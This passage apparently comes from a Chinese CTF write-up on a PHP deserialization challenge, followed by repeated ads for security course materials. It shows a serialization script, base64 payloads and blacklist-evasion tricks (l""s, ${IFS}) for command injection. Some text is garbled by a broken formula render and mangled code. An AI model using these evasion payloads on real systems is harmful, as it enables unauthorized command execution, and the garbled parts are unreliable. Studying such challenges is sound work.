s:12:“easemethod”; 表示第一个属性名为easemethod,12表示属性名的长度。
s:4:“ping”; 表示easemethod属性的值为ping,4表示属性值的长度。
s:10:“easeargs”; 表示第二个属性名为easeargs,10表示属性名的长度。
a:1:{i:0;s:0:“”;} 表示easeargs属性的值为一个数组,其中1表示数组元素的数量,i:0表示数组的索引为0,s:2:““表示数组的值为””,0表示值的长度。*/
脚本代码:
<?php class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } } $a = new ease("ping",array("")); $b = serialize($a); echo $b; $c = base64_encode($b); echo "\n"; echo $c; ?>得到的结果是:
这时返回的是NULL;
去改过滤字符:
$a = new ease(“ping”,array(“‘’”));
双引号里有单引号时:返回 array(0) { } 返回了一个空数组;
该过滤字符:
$a = new ease(“ping”,array(‘“”’));
单引号里有双引号;返回结果:don’t hackNULL
总结以上教训发现绕过字符这点很是重要!!!
if (!preg_match_all(“/(||&|;| |/|cat|flag|tac|php|ls)/”, $str, $pat_array)) {
preg_match_all函数检查KaTeX parse error: Expected 'EOF', got '&' at position 23: …一些特定的字符或字符串,如|、&̲、;、/、cat、flag、t…str。否则,输出"don’t hack"。
这个过滤中我可以用双引号,单引号;但我使用为什么会失败呢?
这里很特殊,又不是写一些特殊字符,让它错误的认为代码,或构成新代码来进行绕过,它只是一种与字符串比较进行匹配,只要没有包含|、&、;、/、cat、flag、tac、php和ls。应该可以我想;那为什么不可以???
突然想到Linux中有一种绕过方式:就是Linux中,ls可以显示当前目录中的所有文件,如果l""s同样可以查看,这就是绕过点;
现在是三种:单引号,双引号,${}符合;
改变过滤字符:
$a = new ease(“ping”,array(‘l""s’));
这样改变一下上面的脚本代码,再去执行,得到payload:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
最终得到比较理想的结果:
去查看flag_1s_here文件,命令:
脚本做修改一下:同样查看该文件夹下的文件有哪些,格式:<命令> 文件名
但这里命令与文件之间有空格,怎么办,用${IFS} 这是特殊的环境变量,在Unix/linux 用来字段分割符;
a = n e w e a s e ( " p i n g " , a r r a y ( ′ l " " s a=new ease("ping",array('l""s a=newease("ping",array(′l""s{IFS}f""lag_1s_here’));
同样得到新的payload:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-QbYlZzkF-1712765016583)]